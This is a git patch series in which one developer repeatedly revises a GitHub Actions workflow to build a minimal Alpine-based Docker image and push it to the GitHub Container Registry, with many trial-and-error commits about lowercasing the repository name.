From 78a343850156ac5a90fc4334904c43f7498a6161 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 07:09:16 -0300 Subject: [PATCH 01/83] test build and push --- .github/workflows/build-push-ghcr.yml | 29 +++++++++++++++++++++++++++ Dockerfile.base | 1 + 2 files changed, 30 insertions(+) create mode 100644 .github/workflows/build-push-ghcr.yml create mode 100644 Dockerfile.base diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml new file mode 100644 index 0000000..0867904 --- /dev/null +++ b/.github/workflows/build-push-ghcr.yml @@ -0,0 +1,29 @@ +name: Build and Push Docker Image to GHCR + +on: + push: + branches: + - main # Change this to the appropriate branch if needed + +jobs: + build-and-push: + runs-on: ubuntu-latest + + steps: + - name: Checkout repository + uses: actions/checkout@v2 + + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@v1 + + - name: Login to GHCR + uses: docker/login-action@v1 + with: + registry: ghcr.io + username: ${{ github.repository_owner }} + password: ${{ secrets.GHCR_TOKEN }} + + - name: Build and Push Docker image + run: | + docker buildx create --use + docker buildx build --push -t ghcr.io/${{ github.repository }}:latest -f Dockerfile.base . diff --git a/Dockerfile.base b/Dockerfile.base new file mode 100644 index 0000000..35df96c --- /dev/null +++ b/Dockerfile.base @@ -0,0 +1 @@ +FROM alpine:3.9 \ No newline at end of file From 6b24418c29288dfc59f4564dca54ecb13f97ed79 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 07:10:16 -0300 Subject: [PATCH 02/83] test build and push --- .github/workflows/build-push-ghcr.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 0867904..f0c1c4a 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -4,6 +4,7 @@ on: push: branches: - main # Change this to the appropriate branch if needed + - gh-action jobs: build-and-push: From 641ee99f30b27aa6c1379fc5b862800476d72439 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 07:12:53 -0300 Subject: [PATCH 03/83] test build and push --- .github/workflows/build-push-ghcr.yml | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index f0c1c4a..47e569d 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -17,13 +17,13 @@ jobs: - name: Set up Docker Buildx uses: docker/setup-buildx-action@v1 - - name: Login to GHCR - uses: docker/login-action@v1 - with: - registry: ghcr.io - username: ${{ github.repository_owner }} - password: ${{ secrets.GHCR_TOKEN }} - + - name: Login to GitHub Container Registry + uses: docker/login-action@v2 + with: + registry: ghcr.io + username: ${{ github.actor }} + password: ${{ secrets.GITHUB_TOKEN }} + - name: Build and Push Docker image run: | docker buildx create --use From f6569151e8a96f0a654d7b4d5a86a0c8f98f592a Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 07:14:22 -0300 Subject: [PATCH 04/83] test build and push --- .github/workflows/build-push-ghcr.yml | 38 +++++++++++++-------------- 1 file changed, 19 insertions(+), 19 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 47e569d..522105c 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -1,30 +1,30 @@ -name: Build and Push Docker Image to GHCR +name: ci on: push: branches: - - main # Change this to the appropriate branch if needed + - main - gh-action jobs: - build-and-push: + docker: runs-on: ubuntu-latest - steps: - - name: Checkout repository - uses: actions/checkout@v2 - - - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v1 - - - name: Login to GitHub Container Registry + - + name: Set up QEMU + uses: docker/setup-qemu-action@v2 + - + name: Set up Docker Buildx + uses: docker/setup-buildx-action@v2 + - + name: Login to Docker Hub uses: docker/login-action@v2 with: - registry: ghcr.io - username: ${{ github.actor }} - password: ${{ secrets.GITHUB_TOKEN }} - - - name: Build and Push Docker image - run: | - docker buildx create --use - docker buildx build --push -t ghcr.io/${{ github.repository }}:latest -f Dockerfile.base . + username: ${{ secrets.DOCKERHUB_USERNAME }} + password: ${{ secrets.DOCKERHUB_TOKEN }} + - + name: Build and push + uses: docker/build-push-action@v4 + with: + push: true + tags: user/app:latest \ No newline at end of file From 2e9096775772d062977197fdf93c51bc2250d14b Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 07:16:33 -0300 Subject: [PATCH 05/83] test build and push --- .github/workflows/build-push-ghcr.yml | 30 ++++++++++++--------------- 1 file changed, 13 insertions(+), 17 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 522105c..9b2b54d 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -10,21 +10,17 @@ jobs: docker: runs-on: ubuntu-latest steps: - - - name: Set up QEMU - uses: docker/setup-qemu-action@v2 - - - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v2 - - - name: Login to Docker Hub - uses: docker/login-action@v2 + - name: 'Checkout GitHub Action' + uses: actions/checkout@main + + - name: 'Login to GitHub Container Registry' + uses: docker/login-action@v1 with: - username: ${{ secrets.DOCKERHUB_USERNAME }} - password: ${{ secrets.DOCKERHUB_TOKEN }} - - - name: Build and push - uses: docker/build-push-action@v4 - with: - push: true - tags: user/app:latest \ No newline at end of file + registry: ghcr.io + username: ${{github.actor}} + password: ${{secrets.GITHUB_TOKEN}} + + - name: 'Build Inventory Image' + run: | + docker build . --tag ghcr.io//store:latest + docker push ghcr.io//store:latest From 445e62913154f6f94f32d119e9129baa32f9b823 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 07:17:16 -0300 Subject: [PATCH 06/83] test build and push --- .github/workflows/build-push-ghcr.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 9b2b54d..d831928 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -22,5 +22,5 @@ jobs: - name: 'Build Inventory Image' run: | - docker build . --tag ghcr.io//store:latest - docker push ghcr.io//store:latest + docker build . --tag ghcr.io/abnerrizzi/store:latest + docker push ghcr.io/abnerrizzi/store:latest From 0ebabf0ee10df3a9820e6412018894c81e85447a Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 07:21:20 -0300 Subject: [PATCH 07/83] test build and push --- .github/workflows/build-push-ghcr.yml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index d831928..fb50d57 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -1,4 +1,4 @@ -name: ci +name: build and push on: push: @@ -22,5 +22,5 @@ jobs: - name: 'Build Inventory Image' run: | - docker build . --tag ghcr.io/abnerrizzi/store:latest - docker push ghcr.io/abnerrizzi/store:latest + docker build . --tag -f Dockerfile.base ghcr.io/abnerrizzi/${{ github.event.repository.name }}:latest + docker push ghcr.io/abnerrizzi/${{ github.event.repository.name }}:latest From 6594a7652d08a31b20a7ad103d9fc61fd999bfa1 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 07:21:58 -0300 Subject: [PATCH 08/83] test build and push --- .github/workflows/build-push-ghcr.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index fb50d57..fac3d77 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -22,5 +22,5 @@ jobs: - name: 'Build Inventory Image' run: | - docker build . --tag -f Dockerfile.base ghcr.io/abnerrizzi/${{ github.event.repository.name }}:latest + docker build . -f Dockerfile.base --tag ghcr.io/abnerrizzi/${{ github.event.repository.name }}:latest docker push ghcr.io/abnerrizzi/${{ github.event.repository.name }}:latest From 7e9991e1672466bd6d47330e85dc4dc846d89e89 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 07:24:56 -0300 Subject: [PATCH 09/83] test build and push --- .github/workflows/build-push-ghcr.yml | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index fac3d77..22f8f06 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -20,7 +20,13 @@ jobs: username: ${{github.actor}} password: ${{secrets.GITHUB_TOKEN}} + - name: set lower case repo_name + run: | + echo "REPO_NAME_LC=${REPO_NAME,,}" >>${GITHUB_ENV} + env: + REPO_NAME: '${{ github.event.repository.name }}' + - name: 'Build Inventory Image' run: | - docker build . -f Dockerfile.base --tag ghcr.io/abnerrizzi/${{ github.event.repository.name }}:latest - docker push ghcr.io/abnerrizzi/${{ github.event.repository.name }}:latest + docker build . -f Dockerfile.base --tag ghcr.io/abnerrizzi/${{ REPO_NAME }}:latest + docker push ghcr.io/abnerrizzi/${{ REPO_NAME }}:latest From db0f4844df34802ef444289e3f53de44307e864a Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 07:26:02 -0300 Subject: [PATCH 10/83] test build and push --- .github/workflows/build-push-ghcr.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 22f8f06..d778b29 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -28,5 +28,5 @@ jobs: - name: 'Build Inventory Image' run: | - docker build . -f Dockerfile.base --tag ghcr.io/abnerrizzi/${{ REPO_NAME }}:latest - docker push ghcr.io/abnerrizzi/${{ REPO_NAME }}:latest + docker build . -f Dockerfile.base --tag ghcr.io/abnerrizzi/${REPO_NAME}:latest + docker push ghcr.io/abnerrizzi/${REPO_NAME}:latest From bc91d6e2f19aab54e225780610745a08840b7dee Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 07:27:57 -0300 Subject: [PATCH 11/83] test build and push --- .github/workflows/build-push-ghcr.yml | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index d778b29..6b0eff6 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -20,13 +20,12 @@ jobs: username: ${{github.actor}} password: ${{secrets.GITHUB_TOKEN}} - - name: set lower case repo_name - run: | - echo "REPO_NAME_LC=${REPO_NAME,,}" >>${GITHUB_ENV} + - name: 'Build Inventory Image' env: REPO_NAME: '${{ github.event.repository.name }}' - - - name: 'Build Inventory Image' run: | + echo REPONAME: $REPO_NAME + echo {REPONAME}: ${REPO_NAME} + echo {{REPONAME}}: ${{REPO_NAME}} docker build . -f Dockerfile.base --tag ghcr.io/abnerrizzi/${REPO_NAME}:latest docker push ghcr.io/abnerrizzi/${REPO_NAME}:latest From 9806956b952dd999d2cc9e72c3374ad3e4d9de17 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 07:29:16 -0300 Subject: [PATCH 12/83] test build and push --- .github/workflows/build-push-ghcr.yml | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 6b0eff6..369d766 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -24,8 +24,7 @@ jobs: env: REPO_NAME: '${{ github.event.repository.name }}' run: | - echo REPONAME: $REPO_NAME - echo {REPONAME}: ${REPO_NAME} - echo {{REPONAME}}: ${{REPO_NAME}} - docker build . -f Dockerfile.base --tag ghcr.io/abnerrizzi/${REPO_NAME}:latest - docker push ghcr.io/abnerrizzi/${REPO_NAME}:latest + echo "OWNER_LC=${github.event.repository.name,,}" >>${GITHUB_ENV} + echo {OWNER_LC}: ${OWNER_LC} + # docker build . -f Dockerfile.base --tag ghcr.io/abnerrizzi/${REPO_NAME}:latest + # docker push ghcr.io/abnerrizzi/${REPO_NAME}:latest From e4a6c2f69af5d276297bae652a05740258ccf076 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 07:31:02 -0300 Subject: [PATCH 13/83] test build and push --- .github/workflows/build-push-ghcr.yml | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 369d766..b437653 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -20,6 +20,10 @@ jobs: username: ${{github.actor}} password: ${{secrets.GITHUB_TOKEN}} + - name: downcase REPO + run: | + echo "REPO=${GITHUB_REPOSITORY,,}" >>${GITHUB_ENV} + - name: 'Build Inventory Image' env: REPO_NAME: '${{ github.event.repository.name }}' From dd1e880dab92ca2c15a19694b4419a076f009a19 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 07:33:33 -0300 Subject: [PATCH 14/83] test build and push --- .github/workflows/build-push-ghcr.yml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index b437653..c642e46 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -23,6 +23,8 @@ jobs: - name: downcase REPO run: | echo "REPO=${GITHUB_REPOSITORY,,}" >>${GITHUB_ENV} + echo ${{ github.event.repository.name }} + echo "REPO_NAME: ${{github.event.repository.name,,}}" - name: 'Build Inventory Image' env: From 3d1f82c275f3bf8c6438f7b2a47eca5deaa8e97b Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 07:34:45 -0300 Subject: [PATCH 15/83] test build and push --- .github/workflows/build-push-ghcr.yml | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index c642e46..72ba94f 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -23,9 +23,8 @@ jobs: - name: downcase REPO run: | echo "REPO=${GITHUB_REPOSITORY,,}" >>${GITHUB_ENV} - echo ${{ github.event.repository.name }} + echo "${{ github.event.repository.name }}" echo "REPO_NAME: ${{github.event.repository.name,,}}" - - name: 'Build Inventory Image' env: REPO_NAME: '${{ github.event.repository.name }}' From 10facebcdc5d47a794e6686773c3f0b7bbb5a0e8 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 07:35:33 -0300 Subject: [PATCH 16/83] test build and push --- .github/workflows/build-push-ghcr.yml | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 72ba94f..faa8a43 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -21,10 +21,9 @@ jobs: password: ${{secrets.GITHUB_TOKEN}} - name: downcase REPO - run: | - echo "REPO=${GITHUB_REPOSITORY,,}" >>${GITHUB_ENV} - echo "${{ github.event.repository.name }}" - echo "REPO_NAME: ${{github.event.repository.name,,}}" + run: + - echo "REPO=${GITHUB_REPOSITORY,,}" >>${GITHUB_ENV} + - echo " ${{ github.event.repository.name }} " - name: 'Build Inventory Image' env: REPO_NAME: '${{ github.event.repository.name }}' From 11acd0ed92cfe7ee3973c8a935c27471b919699f Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 07:36:12 -0300 Subject: [PATCH 17/83] test build and push --- .github/workflows/build-push-ghcr.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index faa8a43..d71b49f 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -23,7 +23,8 @@ jobs: - name: downcase REPO run: - echo "REPO=${GITHUB_REPOSITORY,,}" >>${GITHUB_ENV} - - echo " ${{ github.event.repository.name }} " + - echo REPO= $REPO + - name: 'Build Inventory Image' env: REPO_NAME: '${{ github.event.repository.name }}' From dcddeaab2a6221b37f6f20548f6077c435749002 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 07:36:37 -0300 Subject: [PATCH 18/83] test build and push --- .github/workflows/build-push-ghcr.yml | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index d71b49f..b437653 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -21,9 +21,8 @@ jobs: password: ${{secrets.GITHUB_TOKEN}} - name: downcase REPO - run: - - echo "REPO=${GITHUB_REPOSITORY,,}" >>${GITHUB_ENV} - - echo REPO= $REPO + run: | + echo "REPO=${GITHUB_REPOSITORY,,}" >>${GITHUB_ENV} - name: 'Build Inventory Image' env: From bd9b021a29a7102866a226ace0005de33945a724 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 07:37:14 -0300 Subject: [PATCH 19/83] test build and push --- .github/workflows/build-push-ghcr.yml | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index b437653..a3d922e 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -20,6 +20,11 @@ jobs: username: ${{github.actor}} password: ${{secrets.GITHUB_TOKEN}} + - name: name1 + run: + - echo 1 + - echo 2 + - echo 3 - name: downcase REPO run: | echo "REPO=${GITHUB_REPOSITORY,,}" >>${GITHUB_ENV} From cd3bcca56524efaa27189d86083a8ad06d8b49c3 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 07:38:47 -0300 Subject: [PATCH 20/83] test build and push --- .github/workflows/build-push-ghcr.yml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index a3d922e..5402e0c 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -21,10 +21,10 @@ jobs: password: ${{secrets.GITHUB_TOKEN}} - name: name1 - run: - - echo 1 - - echo 2 - - echo 3 + run: | + echo 1 + echo 2 + echo 3 - name: downcase REPO run: | echo "REPO=${GITHUB_REPOSITORY,,}" >>${GITHUB_ENV} From 5b75e094fe234cff69965cdf933b0853b5668b69 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 07:39:53 -0300 Subject: [PATCH 21/83] test build and push --- .github/workflows/build-push-ghcr.yml | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 5402e0c..24b62b0 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -22,12 +22,8 @@ jobs: - name: name1 run: | - echo 1 - echo 2 - echo 3 - - name: downcase REPO - run: | - echo "REPO=${GITHUB_REPOSITORY,,}" >>${GITHUB_ENV} + echo "REPO=${${{ github.event.repository.name }},,}" >>${GITHUB_ENV} + - name: 'Build Inventory Image' env: From 4a3b3dcecf1986e97e09f9fe7cc059d845e20b08 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 07:42:36 -0300 Subject: [PATCH 22/83] test build and push --- .github/workflows/build-push-ghcr.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 24b62b0..bc91488 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -29,7 +29,7 @@ jobs: env: REPO_NAME: '${{ github.event.repository.name }}' run: | - echo "OWNER_LC=${github.event.repository.name,,}" >>${GITHUB_ENV} - echo {OWNER_LC}: ${OWNER_LC} + echo "OWNER_LC=${{github.event.repository.name,,}}" >>${GITHUB_ENV} + echo OWNER_LC= ${OWNER_LC} # docker build . -f Dockerfile.base --tag ghcr.io/abnerrizzi/${REPO_NAME}:latest # docker push ghcr.io/abnerrizzi/${REPO_NAME}:latest From 00f0236c6e45afb957f189424ec08c9fc24b7563 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 07:43:02 -0300 Subject: [PATCH 23/83] test build and push --- .github/workflows/build-push-ghcr.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index bc91488..7d8e1d1 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -29,7 +29,7 @@ jobs: env: REPO_NAME: '${{ github.event.repository.name }}' run: | - echo "OWNER_LC=${{github.event.repository.name,,}}" >>${GITHUB_ENV} + echo "OWNER_LC=${{github.event.repository.name},,}" >>${GITHUB_ENV} echo OWNER_LC= ${OWNER_LC} # docker build . -f Dockerfile.base --tag ghcr.io/abnerrizzi/${REPO_NAME}:latest # docker push ghcr.io/abnerrizzi/${REPO_NAME}:latest From a34c29a08bdb16ff47a15064ba6003296c7c738d Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 07:43:35 -0300 Subject: [PATCH 24/83] test build and push --- .github/workflows/build-push-ghcr.yml | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 7d8e1d1..180796b 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -29,7 +29,6 @@ jobs: env: REPO_NAME: '${{ github.event.repository.name }}' run: | - echo "OWNER_LC=${{github.event.repository.name},,}" >>${GITHUB_ENV} - echo OWNER_LC= ${OWNER_LC} + echo ${{github.event.repository.name}} # docker build . -f Dockerfile.base --tag ghcr.io/abnerrizzi/${REPO_NAME}:latest # docker push ghcr.io/abnerrizzi/${REPO_NAME}:latest From 88c5b428189bc05e09244084569f820390f14da7 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 07:44:51 -0300 Subject: [PATCH 25/83] test build and push --- .github/workflows/build-push-ghcr.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 180796b..e23b7c8 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -22,7 +22,7 @@ jobs: - name: name1 run: | - echo "REPO=${${{ github.event.repository.name }},,}" >>${GITHUB_ENV} + echo "repolower=${${{ github.event.repository.name }},,}" >>${GITHUB_ENV} - name: 'Build Inventory Image' From c2a344966bc4b1df362544e294077054c398bffb Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 07:46:04 -0300 Subject: [PATCH 26/83] test build and push --- .github/workflows/build-push-ghcr.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index e23b7c8..1fe8529 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -29,6 +29,7 @@ jobs: env: REPO_NAME: '${{ github.event.repository.name }}' run: | - echo ${{github.event.repository.name}} + "repolower=${REPO_NAME,,}" >>${GITHUB_ENV} + # docker build . -f Dockerfile.base --tag ghcr.io/abnerrizzi/${REPO_NAME}:latest # docker push ghcr.io/abnerrizzi/${REPO_NAME}:latest From 5d97699938212710d84c96dfe05af46d421df36c Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 07:46:44 -0300 Subject: [PATCH 27/83] test build and push --- .github/workflows/build-push-ghcr.yml | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 1fe8529..41c4777 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -29,7 +29,9 @@ jobs: env: REPO_NAME: '${{ github.event.repository.name }}' run: | - "repolower=${REPO_NAME,,}" >>${GITHUB_ENV} + echo "repolower=${REPO_NAME,,}" >>${GITHUB_ENV} + echo $repolower + echo ${repolower} # docker build . -f Dockerfile.base --tag ghcr.io/abnerrizzi/${REPO_NAME}:latest # docker push ghcr.io/abnerrizzi/${REPO_NAME}:latest From 7af1b65a01956e781efd0f93bac3621a85c032d2 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 07:47:35 -0300 Subject: [PATCH 28/83] test build and push --- .github/workflows/build-push-ghcr.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 41c4777..17bf89f 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -30,8 +30,8 @@ jobs: REPO_NAME: '${{ github.event.repository.name }}' run: | echo "repolower=${REPO_NAME,,}" >>${GITHUB_ENV} - echo $repolower - echo ${repolower} + echo "$repolower" + echo "${repolower}" # docker build . -f Dockerfile.base --tag ghcr.io/abnerrizzi/${REPO_NAME}:latest # docker push ghcr.io/abnerrizzi/${REPO_NAME}:latest From 225588e7d20232584b4d217ecf509409475dc079 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 07:50:05 -0300 Subject: [PATCH 29/83] test build and push --- .github/workflows/build-push-ghcr.yml | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 17bf89f..488930f 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -25,10 +25,15 @@ jobs: echo "repolower=${${{ github.event.repository.name }},,}" >>${GITHUB_ENV} + - name: Ubuntu GitHub Actions environment variables List + run: env + - name: 'Build Inventory Image' env: REPO_NAME: '${{ github.event.repository.name }}' run: | + echo $REPO_NAME + echo ${{ github.event.repository.name }} echo "repolower=${REPO_NAME,,}" >>${GITHUB_ENV} echo "$repolower" echo "${repolower}" From dfe1598d3fe1d6aa0a63886be56e8272843d8801 Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 08:24:38 -0300 Subject: [PATCH 30/83] test build and push --- .github/workflows/build-push-ghcr.yml | 20 +++----------------- 1 file changed, 3 insertions(+), 17 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 488930f..3866f31 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -20,23 +20,9 @@ jobs: username: ${{github.actor}} password: ${{secrets.GITHUB_TOKEN}} - - name: name1 - run: | - echo "repolower=${${{ github.event.repository.name }},,}" >>${GITHUB_ENV} - - - - name: Ubuntu GitHub Actions environment variables List - run: env - - - name: 'Build Inventory Image' + - name: 'Build and Push Docker image to ghcr.io' env: REPO_NAME: '${{ github.event.repository.name }}' run: | - echo $REPO_NAME - echo ${{ github.event.repository.name }} - echo "repolower=${REPO_NAME,,}" >>${GITHUB_ENV} - echo "$repolower" - echo "${repolower}" - - # docker build . -f Dockerfile.base --tag ghcr.io/abnerrizzi/${REPO_NAME}:latest - # docker push ghcr.io/abnerrizzi/${REPO_NAME}:latest + docker build . -f Dockerfile.base --tag ghcr.io/${GITHUB_REPOSITORY,,}:latest + docker push ghcr.io/${GITHUB_REPOSITORY,,}:latest From d916111983a7dc8bb8f29d3ca642e2c538d58c9c Mon Sep 17 00:00:00 2001 From: Abner Rizzi Date: Thu, 10 Aug 2023 08:38:26 -0300 Subject: [PATCH 31/83] test build and push --- .github/workflows/build-push-ghcr.yml | 57 +++++++++++++++++---------- 1 file changed, 36 insertions(+), 21 deletions(-) diff --git a/.github/workflows/build-push-ghcr.yml b/.github/workflows/build-push-ghcr.yml index 3866f31..0524890 100644 --- a/.github/workflows/build-push-ghcr.yml +++ b/.github/workflows/build-push-ghcr.yml @@ -1,28 +1,43 @@ -name: build and push +# This workflow uses actions that are not certified by GitHub. +# They are provided by a third-party and are governed by +# separate terms of service, privacy policy, and support +# documentation. + +# GitHub recommends pinning actions to a commit SHA. +# To get a newer version, you will need to update the SHA. +# You can also reference a tag or branch, but the action may change without warning. + +name: Publish Docker image on: - push: - branches: - - main - - gh-action + release: + types: [published] jobs: - docker: + push_to_registry: + name: Push Docker image to Docker Hub runs-on: ubuntu-latest steps: - - name: 'Checkout GitHub Action' - uses: actions/checkout@main - - - name: 'Login to GitHub Container Registry' - uses: docker/login-action@v1 + - name: Check out the repo + uses: actions/checkout@v3 + + - name: Log in to Docker Hub + uses: 